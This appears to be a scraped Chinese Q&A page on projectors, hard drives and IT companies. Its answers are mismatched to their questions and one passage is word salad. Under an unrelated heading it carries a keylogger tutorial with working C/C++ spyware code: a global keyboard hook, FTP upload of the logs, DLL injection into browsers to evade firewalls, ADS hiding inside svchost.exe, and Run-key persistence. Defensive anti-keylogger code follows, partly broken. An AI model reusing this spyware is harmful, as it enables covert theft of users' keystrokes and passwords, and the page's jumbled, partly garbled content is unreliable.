1.infocus/rp820有故障,开不了机,

2.蜘蛛投影电脑多少钱

3.中国大恒信息技术公司的业务架构

4.西数硬盘是哪个国家的品牌

5.电脑不能够播放多媒体的问题?

6.键盘记录器是什么

7.宁波电话薄

官方电脑系统_infocus电脑系统

英文:InFocus IN810

CPU:Qualcomm Snapdragon APQ8064

主频:1.7GHz

系统:Android4.2.2

RAM:2G

屏幕:5寸Full HD屏幕 1080P

电池:2,100mAh锂离子电池

摄像:1,300万像素主摄像头,前置190万像素摄像头

外观尺寸:139.5x 72.1 x 9.5 mm

重量:143g

网络制式:GSM / TD-SCDMA / WCDMA / TD-LTE /FDD-LTE

支持频段:GSM850/900/1800/1900 MHz

TD-SCDMA (Band 34,39,40)

TD-LTE (Band38,39,40)

WCDMA (Band 1,2,5,8)

FDD-LTE (Band 1,3,7)

数据连接:BT4.0; 802.11 b/g/n; WAPI; GPS/A-GPS/GLONASS ;FM

传感器:Proximity/ALS;G-sensor; E-compass;Gyro

NFC ,USB OTG, Wireless

infocus/rp820有故障,开不了机,

拼接器做为大屏幕拼接系统、大屏幕投影系统、投影机正投大屏、投影背投拼接屏系统、CRT电视墙系统、等离子拼接系统、液晶拼接墙系统、PDP无缝拼接系统、电视机拼墙系统的核心设备,广泛应用于政府机关、电力、水利、电信、公安、军队、武警、铁路、交通、矿业、能源、钢铁、企业等的监控中心、调度中心、指挥中心、会议室、展示厅大屏幕显示系统,可以接驳巴可(Barco)、三菱(MITSUBISHI)、科视(chirstie)、松下(Panasonic)、三洋(SANYO)、InFocus、飞利浦(Philips)、NEC、彩讯、威创(VTRON)、GQY、TCL、BSV、长虹、厦华、海信、海尔等大屏幕显示设备。

蜘蛛投影电脑多少钱

手机有电但无法开机的原因是有好多种的!这里给你详细列举几种,希望可以帮到你!

1、开机线路不正常看:使用外接电源给手机供电,使用电联表检测看看示数是否有变化,如果没有变化的话很可能就是开机线断了或者开机键接触不良。

2、电池的供电电路不正常:使用外部接口对手机进行供电,看看开机时候恢复正常,如果正常的话就确定是手机的供电电路不正常。

3、手机电源的IC不正常:对照电路原理图在电源IC的外 围电路的测试点上进行测试,看测试值是否正常。

4、手机的系统时钟和复位不正常:可以使用双总示波器来对手机的CPU电源进行检测,查看复位之中的波形图是否正确。

5、逻辑电路出现问题:也就是手机电路版出现的故障,一般可以通过补焊来解决这个问题。

6、软件冲突:安装的软件与手机的系统不相符也可能会造成手机开机不了的情况,可以将手机连接电脑将程序删除。

7、如果是山寨手机,那我估计开不了机是因为里面的芯片烧了,或者里面的小零件有的松了,不过这种情况是你掉过才会出现的,芯片烧了有可能是你充电的时间太长,把芯片烧了,如果电池有电,那就是这几方面,如果是名牌手机,比如诺基亚,摩托罗拉.......这些出现这种情况是很少的,除非是人为,如果是名牌智能手机,而且没有使用不当,打就是软件问题,有可能是系统崩溃,或者因为手机中毒导致软件破损,一般这样只能到维修处了,不过,我认为最大的可能是静电引起的,建议你不要自己打开瞎修,还是去找维修处好!

中国大恒信息技术公司的业务架构

原虽亮度指标功能看相同东西二流品牌要便宜用知道主观受差别EPSON机器ASK比起噪音简直部拖拉机

更重要理由:便宜机器用廉价灯泡寿命般要短1/3想想灯泡要几千块知道机器麽便宜

转载自<色影忌 >BBS

领域ASK(美投神), Proxima (百胜马)Infocus(富视)三流品牌前两合并目前同家公司所产品线覆盖高低端其Infocus专攻便携市场类产品许专利拥NEC流品牌作高端其Barco等品牌

3M, EPSONPanasonicPhillips, Toshiba, Mitsubishi面二流品牌基本低端产品,特点便宜SONY产品功能髦外观见性能比较差其Acer, 联想等些廉价货

品牌选定要考虑选DLP技术LCD技术机器DLP特点亮度高色纯度适合商业图表演示适合播放态影像(DVDVCD)亮度均匀度差同等流明机器DLP要便宜LCD机器性能比较全面CCD机器想要亮度作高困难所高亮LCD机器比较贵

另外要考虑要便携式议室型便携般功能少亮度较低价格高外携带作演示要考虑亮度问题选2000流明难找拉窗帘关灯配高亮反射屏幕演示场所亮度要命问题

其要注意机器否带梯形矫演示点通难找带倾斜角专用屏幕投射卷筒垂直屏幕甚至墙都点专业员比较重要

西数硬盘是哪个国家的品牌

北京大恒创新技术有限公司的主要业务划分为三大业务方向,其中包括软件、通用IT、网络存储与系统集成等。 在代理分销业务方面,北京大恒创新技术有限公司目前是ASK、InFocus、松下、LG、Philips、Wacom、DA-LITE等国际著名公司在国内的总代理或增值代理商。通过良好的运作和与国内近千家合作伙伴的合作。

在投影机业务方面同时可提供投影工程的设计、安装、调试一条龙服务,在国内被包括人民大会堂在内的各类用户广泛使用。 自有品牌方面,北京大恒创新技术有限公司推出了“啄木鸟”系列产品,包含了光磁类产品(刻录机、盘片)等并且在国内品牌中排名前三名。 在应用系统及系统集成方面,北京大恒创新技术有限公司主要为企业、教育和政府机关等行业提供专业的行业信息化整体解决方案和服务,同时注意加强专业解决方案的开发与集成服务。在研发与生产方面,重点研发生产数据存储系列产品、数字监控系列产品以及网络安全、GPS、地理信息(GIS)等专业技术;同时针对教育、政府、企业、军队、金融、公安、交通、医疗等行业领域开发与行业信息化紧密相关的应用系统与解决方案。作为专业的应用系统与系统集成服务提供商,我们取得了信息产业部颁发的计算机信息系统集成一级资质、国家保密局颁发的计算机信息系统集成涉密资质等相关从业资质;同时多年来一直与国际上很多著名的IT和通讯厂商保持着良好的合作关系。“面向行业、注重专业”,我们将不断为行业信息化提供专业的解决方案与服务。

电脑不能够播放多媒体的问题?

西数硬盘(WD)是美国西部数据公司生产的硬盘。

西部数据公司(Western Digital Corp)全球知名的硬盘厂商。公司始创于1970年,并于1988年开始设计和生产硬盘。总部在美国加州Lake Forest,是历史最悠久的硬盘厂商之一,也是IDE接口的创始者之一。

该公司的生产机构设在马来西亚,美国加州和泰国,设计机构设在加州南部和北部,而营业部门则遍及全球。WD公司在1999年退出SCSI市场后主攻IDE领域,2001年下半年6个月销售额为10.15亿美元,并且保持着3300万美元的盈利。WD公司是一个不擅于宣传的公司,让人能记得住的特有技术屈指可数,其实WD的技术实力是不容小看的,其硬盘性能长期处于高水平肯定有先进技术的支持。长期以来,西部数据一直致力于为全球个人电脑用户提供完善的存储解决方案,西数在为用户及收集、管理与使用数字信息的组织方面具有丰富的服务经验。西部数据公司的产品线涵盖了企业服务器,桌面级IDE 硬盘、移动存储应用及AV 领域。

键盘记录器是什么

是由于显示属性与投影仪性能不匹配造成的

修改:显示属性—设置—高级—性能—硬件加速

把硬件加速调低就可以了轻松解决电视背投和投影仪视频文件播放问题

广大教师积极地制作课件用于教学,起始大家制作的课件都以文字、、声音为主,时间一长,随着大家计算机应用能力的提高,有许多教师开始从网上下载各种类型的视频文件用于日常教学丰富教学内容,随之而来的问题出现了,许多教师反映播放视频文件时,只能在自己的笔记本电脑上出现,而背投上的播放区域却黑屏。其实我们只需在播放该视频文件的软件中稍作修改即可轻松解决电视背投和投影仪视频文件不能正常播放这类问题。针对目前大家常用的几种视频播放软件,介绍解决的方法如下:

1.

Realone

Player

单击“工具/首选项”菜单,进入“首选项”设置对话框,选择“类别”栏中的“硬件”项,在“回放性能”栏中勾去启用全屏幕视频控制,然后将“视频卡兼容性”栏中的滑块拖至最左边的最可靠处,详细设置如下图:

2.

Windows

Media

Player

单击“工具/选项”菜单,进入“选项”设置对话框,选择“性能”项,在下面的“视频加速”栏中将滑块拖至中间即可,具体设置如下图:

3.

超级解霸

单击“视频/显示器设置/多显示设置”菜单,出现“设置中心”对话框,勾选启动多显示器分屏显示功能,同时在“硬件加速”栏中勾去使用硬件YUV加速。

投影仪不能显示视频的问题

投影仪不能显示视频的问题

硬件:投影仪infocus

电脑:东芝TE2100笔记本电脑

操作系统:windows

XP

sp2版

显卡:nvidia

geforce4

420

Go

问题概述:投影仪接到笔记本显示效果完全正常,当用播放软件播放VCD、DVD碟的时候,影片在投影幕上不能显示,其他一切正常(桌面显示正常,电脑操作显示正常)。

出现问题原因:显卡中的视频加速设置的太高(显示属性-〉设置-〉高级-〉疑难解决-〉硬件加速)。

解决问题方法:

1、根据投影仪情况,将硬件加速设置降低,降到能够显示播放视频为止!

2、调整播放软件中设置,把硬件加速或者视频加速调低(如果软件有这项设置)。

注:出现以上问题,我个人认为是投影仪不支持较高的视频加速设置,投影仪设备功能所限!现在的主流投影仪应该没有问题!如果有类似问题,供大家参考!

宁波电话薄

下面是一个简单的,直接使用钩子技术实现的例子。

键盘监视器体系结构

键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。

主模块Window过程代码如下:

///////////////////////////////////////////////////////////////////

// FUNCTION: WndProc(HWND, unsigned, WORD, LONG)

// 目的:处理主窗口中的消息

// MSG_MY_WM_KEYDOWN - 处理应用程序键击

// MSG_MY_WM_SETFOCUS - 处理应用程序键击

// MSG_WM_UPLOAD_FILE - 处理一个FTP模块通知

// WM_DESTROY - 寄送一个退出消息并返回

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,

LPARAM lParam)

{

if (message == MSG_MY_WM_KEYDOWN)

return OnInterceptKeyStroke(wParam, lParam);

if (message == MSG_MY_WM_SETFOCUS)

return OnSetKeyboardFocus(wParam, lParam);

if (message == MSG_WM_UPLOAD_FILE)

return OnFileUploaded(wParam, lParam);

switch (message)

{

case WM_DESTROY:

PostQuitMessage(0);

break;

default:

return DefWindowProc(hWnd, message, wParam, lParam);

}

return 0;

}

///////////////////////////////////////////////////////////////////

LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam)

{

//如果我们在登录一个新的应用程序,应该打印一个适当的头

if (g_hWinInFocus != g_hLastWin)

{

WriteNewAppHeader(g_hWinInFocus);

g_hLastWin = g_hWinInFocus;

}

if (wParam==VK_RETURN || wParam==VK_TAB)

{

WriteToLog(’\n’);

}

else

{

BYTE keyStateArr[256];

WORD word;

UINT scanCode = lParam;

char ch;

//把虚拟键代码转换成ascii码

GetKeyboardState(keyStateArr);

ToAscii(wParam, scanCode, keyStateArr, &word, 0);

ch = (char) word;

if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’)

ch += ’A’-’a’;

WriteToLog(ch);

}

return 0;

}

///////////////////////////////////////////////////////////////////

LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam)

{

g_hWinInFocus = (HWND)wParam;

return S_OK;

}

///////////////////////////////////////////////////////////////////

LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam)

{

//记录上载成功

if (wParam)

{

DeleteFile(g_sSpyLogFileName2);

}

else

{

char temp[255];

FILE* f1=fopen(g_sSpyLogFileName,"rt");

FILE* f2=fopen(g_sSpyLogFileName2,"at");

while (!feof(f1))

{

if (fgets(temp, 255, f1))

{

fputs(temp, f2);

}

}

fclose(f1);

fclose(f2);

MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);

}

g_isUploading = false;

return S_OK;

}

全局WH_CBT钩子

一个系统范围的钩子实际上是一个函数,它安装在当前运行的所有进程中,在被监视消息到达目标window过程之前予以监控。钩子过程用于监控系统中的各种类型的事件-例如击键等等。可以通过调用Win32 API函数SetWindowsHookEx来安装一个钩子过程并指定调用该过程的钩子类型。一个WH_CBT钩子过程在窗口取得焦点并在击键事件从系统消息队列被清除之前调用。所有桌面应用程序都在自己的上下文中调用一个全局的钩子过程,所以该钩子过程必须驻留在一个独立于应用程序的DLL中来安装钩子过程。

DLL共享内存区域

一段DLL共享内存区域实际上是一个所有的DLL实例都可以看到的内存变量。主模块把它的窗口句柄保存在钩子DLL的共享内存区域中-该DLL使所有的钩子过程实例能够把窗口消息邮寄回主模块中。

钩子过程共享内存区域并输出函数:

///////////////////////////////////////////////////////////////////

//共享的内存

#pragma data_seg(".adshared")

HWND g_hSpyWin = NULL;

#pragma data_seg()

#pragma comment(linker, "/SECTION:.adshared,RWS")

///////////////////////////////////////////////////////////////////

void CALLBACK SetSpyHwnd (DWORD hwnd)

{

g_hSpyWin = (HWND) hwnd;

}

///////////////////////////////////////////////////////////////////

LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )

{

if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000))

{

if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam==VK_TAB) ||(wParam>=0x2f ) &&(wParam<=0x100))

{

::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);

}

}

else if (nCode == HCBT_SETFOCUS)

{

::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);

if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)

{

HINSTANCE hFtpDll;

Init InitFunc;

if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))

{

if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))

{

(InitFunc)((DWORD)g_hSpyWin);

}

}

bInjectFtpDll = false;

}

}

return CallNextHookEx( 0, nCode, wParam, lParam);

}

函数的主模块代码如下:

typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam,

LPARAM lParam);

typedef void (WINAPI *SetSpyHwnd)(DWORD);

HMODULE g_hHookDll = NULL;

HHOOK g_hHook = NULL;

bool InstallHook(HWND hwnd)

{

SetSpyHwnd SetHwndFunc;

HookProc HookProcFunc;

if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))

{

if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd"))

{

//把主模块的HWND存储在共享存储区段

(SetHwndFunc)((DWORD)hwnd);

if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc"))

{

if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0))

return true;

}

}

}

return false;

}

盗窃

一个间谍程序为了防止自己被探测到必须隐藏好自己的踪迹。它们主要涉及三个技术区域:文件系统,任务管理器,防火墙。

任务管理器盗窃

ADS(Alternate Data Streams)是一项NTFS文件系统特性,它能使你把文件数据送于存在的文件中而不影响它们的功能,大小或者资源管理器等浏览工具的对它们的显示。带有ADS的文件用本地文件浏览技术几乎是不可能检测到的。 一旦文件被注入该项特性,ADS即可被诸如传统的命令如type等执行。在激活时,ADS执行体以原始文件的方式出现并运行:你可以用Windows资源管理器等进程观察器来试验。使用这种技术后,不仅可能隐藏一个文件,而且可能隐藏一个非法进程的执行体部分。事实上,如果安装了NTFS系统,你是不可能本地式探测出以ADS方式隐藏的文件的。ADS特性不能够被取消(disabled),目前为止还没有办法来针对用户已经对其具有存取权限的文件限制这种特性。示例程序为了简明之目地没有使用ADS。

你可以用下例方式手工操作ADS。

Inject spy.exe to svchost.exe

"type spy.exe > c:\windows\system32\svchost.exe:spy.exe"

Run spy.exe

"start svchost.exe:spy.exe"

防火墙盗窃

大多数的防火墙软件都能探测和阻拦不经授权的程序接入因特网。主模块通过使用FTP模块把记录文件上载到一个FTP服务器。防火墙通过把FTP模块DLL注入到另外一个已经安装的应用程序中来实现盗窃。DLL注入意味着强制一个不能被挂起的进程必须接受一个自己从来没有要求的DLL文件。示例中,我选择把FTP模块注入或者Internet Explorer或者FireFox。DLL注入将会越过大多数防火墙软件的检测,特别在FTP服务器在探听80端口时。钩子过程DLL(它由函数SetWindowsHookEx自动加载进入所有正运行进程)检查是被装入到Internet Explorer还是FireFox并加载(用LoadLibrary)了FTP模块DLL。从DllMain中调用LoadLibrary函数是不允许的,因此DllMain设置了一个布尔变量来让钩子过程调用LoadLibrary库函数。

下面是模块DllMain中的钩子过程:

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,

LPVOID lpReserved)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

{

char processName[255];

GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) );

strcpy(processName, _strlwr(processName));

if (strstr(processName, "iexplore.exe") || strstr(processName, "firefox.exe"))

bInjectFtpDll = true;

break;

}

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

启动

把监视程序加入到下列注册表键处将使得它能够在系统启动时被一起激发:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

示例程序把spy.exe作为一项新注册表值加入。

二、键盘监视的防范

在这一节中,我将介绍两种简单的技术来帮助你的应用程序反击基于钩子技术的键盘监视程序。

具有防范监视功能的密码编辑控件

免于监视的编辑控件将针对每次用户击键生成一个模拟的随机键击串。监视程序将截获用户的击键和伪击键,这样以来使它很难或者不可能检索实际的输入的文本。用户输入被存储于一个成员变量中-应用程序可以容易地通过编辑控件存取该变量的值。本例中的伪键击是通过调用Win32 API SendInput来实现的。下面这实现了两个控件-一个MFC版本,一个.NET版本。

该编辑安全的控件假定函数SendInput生成键击的速度快于用户击键的速度。这可能导致编辑安全的控件在较慢的机器上返回错误的用户数据,特别是在运行C#实现版本时。

VC++ MFC版本的CsafeEdit类:

void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags)

{

if (nChar == VK_SHIFT || nChar == VK_CONTROL || nChar == VK_MENU)

return;

if (nChar == VK_DELETE || nChar == VK_BACK)

{

SetWindowText("");

m_sRealText = "";

return;

}

if (m_state == 0)

{

m_iDummyKeyStrokesCount = SendDummyKeyStrokes();

m_state = 1;

CString text;

GetWindowText(text);

m_sRealText += text.Right(1);

}

else

{

if (m_state++ >= m_iDummyKeyStrokesCount)

m_state = 0;

}

CEdit::OnKeyUp(nChar, nRepCnt, nFlags);

}

///////////////////////////////////////////////////////////////////

CString CSafeEdit::GetRealText()

{

return m_sRealText;

}

///////////////////////////////////////////////////////////////////

int CSafeEdit::SendDummyKeyStrokes()

{

srand((unsigned)::GetTickCount());

int iKeyStrokeCount = rand() % 5 + 1;

int key;

INPUT inp[2];

inp[0].type = INPUT_KEYBOARD;

inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo();

inp[0].ki.dwFlags = 0;

inp[0].ki.time = 0;

for (int i=0; i < iKeyStrokeCount; i++)

{

key = rand() % (’Z’-’A’) + ’A’;

inp[0].ki.wScan = key;

inp[0].ki.wVk = key;

inp[1] = inp[0];

inp[1].ki.dwFlags = KEYEVENTF_KEYUP;

SendInput(2, inp, sizeof(INPUT));

}

return iKeyStrokeCount;

}

用C#实现的SafeEdit类:

public struct KEYDBINPUT

{

public Int16 wVk;

public Int16 wScan;

public Int32 dwFlags;

public Int32 time;

public Int32 dwExtraInfo;

public Int32 __filler1;

public Int32 __filler2;

}

public struct INPUT

{

public Int32 type;

public KEYDBINPUT ki;

}

[DllImport("user32")] public static extern int

SendInput( int cInputs, ref INPUT pInputs, int cbSize );

protected void OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e)

{

if (e.KeyData == Keys.ShiftKey || e.KeyData == Keys.ControlKey || e.KeyData == Keys.Alt)

return;

if (e.KeyData == Keys.Delete || e.KeyData == Keys.Back)

{

Text = "";

m_sRealText = "";

return;

}

if (m_state == 0)

{

m_iDummyKeyStrokesCount = SendDummyKeyStrokes();

m_state = 1;

m_sRealText += Text[Text.Length-1];

}

else

{

if (m_state++ >= m_iDummyKeyStrokesCount)

m_state = 0;

}

}

public int SendDummyKeyStrokes()

{

short key;

Random rand = new Random();

int iKeyStrokeCount = rand.Next(1, 6);

INPUT inputDown = new INPUT();

inputDown.type = INPUT_KEYBOARD;

inputDown.ki.dwFlags = 0;

INPUT inputUp = new INPUT();

inputUp.type = INPUT_KEYBOARD;

inputUp.ki.dwFlags = KEYEVENTF_KEYUP;

for (int i=0; i < iKeyStrokeCount; i++)

{

key = (short) rand.Next(’A’, ’Z’);

inputDown.ki.wVk = key;

SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );

inputUp.ki.wVk = key;

SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );

}

return iKeyStrokeCount;

}

SpyRemover类

基于钩子技术的监视程序依赖于它们的钩子过程DLL。将钩子DLL从应用程序进程中移去将使注入该应用程序的窥探程序失去窥探键击的功能。示例程序使用类SpyRemover来移去钩子DLL文件。SpyRemover构造器接收一个"授权模块"的列表。如果一个模块只是装入到一个应用程序中但是没有出现在该列表中被认为是没有授权的。SpyRemover通过枚举所有的应用程序进程模块来探测未经授权的模块。

VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg,

unsigned int idEvent, DWORD dwTime)

{

m_SpyRemover->EnumModules();

}

//////////////////////////////////////////////////////////////////

SpyRemover::SpyRemover(char* szAuthorizedList)

{

m_SpyRemover = this;

m_szAuthorizedList = " ";

m_szAuthorizedList += szAuthorizedList;

m_szAuthorizedList += " ";

m_szAuthorizedList.MakeLower();

::SetTimer(NULL, 0, 500, TimerProc);

}

///////////////////////////////////////////////////////////////////

void SpyRemover::EnumModules()

{

DWORD dwPID = ::GetCurrentProcessId();

HANDLE hModuleSnap = INVALID_HANDLE_VALUE;

MODULEENTRY32 me32;

//取得当前进程所有模块的一个快照

hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID );

if( hModuleSnap == INVALID_HANDLE_VALUE )

return;

me32.dwSize = sizeof( MODULEENTRY32 );

//检索关于第一个模块(application.exe)的信息

if( !Module32First( hModuleSnap, &me32 ) )

{

CloseHandle( hModuleSnap );

return;

}

//遍历当前进程的模块列表

do

{

if (!IsModuleAuthorized(me32.szModule))

{

HMODULE hmodule = me32.hModule;

CloseHandle(hModuleSnap);

FreeLibrary(hmodule);

return;

} while( Module32Next( hModuleSnap, &me32 ) );

CloseHandle(hModuleSnap);

}

///////////////////////////////////////////////////////////////////

bool SpyRemover::IsModuleAuthorized(char* szModuleName)

{

char szModule[1024];

sprintf(szModule, " %s ", szModuleName);

strcpy(szModule, _strlwr(szModule));

if (strstr(m_szAuthorizedList, szModule))

return true;

else

return false;

}

宁波肯博数码科技有限公司

宁波肯博数码科技有限公司是一家专业经销大屏幕显示设备及从事计算机信息技术集成与服务的高科技企业。

公司下设大屏幕显示设备部、业务推广部、系统集成部、客户服务部,拥有数名资深专业工程师。公司坚持“服务是生命,技术是灵魂,真诚相对,共赢未来”的经营宗旨,以可靠的产品、卓越的品质、专业的技术、合理的价格来赢得客户的信任与支持,公司与业界数家知名IT企业建立了良好的战略合作伙伴关系。

目前肯博公司是:

金屏金属屏幕宁波地区独家销售商

PLUS(普乐士)、Optoma(奥图码)数码投影机宁波地区特约销售

日立、东芝投影机宁波地区特约销售

柯达公司全系列扫描仪、商业影像系统宁波地区授权集成商

清华同方电脑特约销售

中联绿盟网络安全产品宁波地区特约销售

日本OS投影银幕、加拿大美视幕宁波销售店

公司于2003年6月在宁波天一数码广场二楼开设了宁波首家数码家庭影院展厅,陈列产品有PLUS、东芝系列投影机及三洋、EPSON、Infocus等家用投影机。

2006年3月29日,肯博投影世界在赛博数码广场闪亮登场。

公司地址:宁波市兴宁巷42号303室

电话:0574-87875175 87875375

传真:0574-87875575

投影机设备维修及技术咨询电话:0574-87875575

投影世界地址:宁波市东渡路29号赛博数码广场D02

电话:0574-27887072

www.nbkenbo.com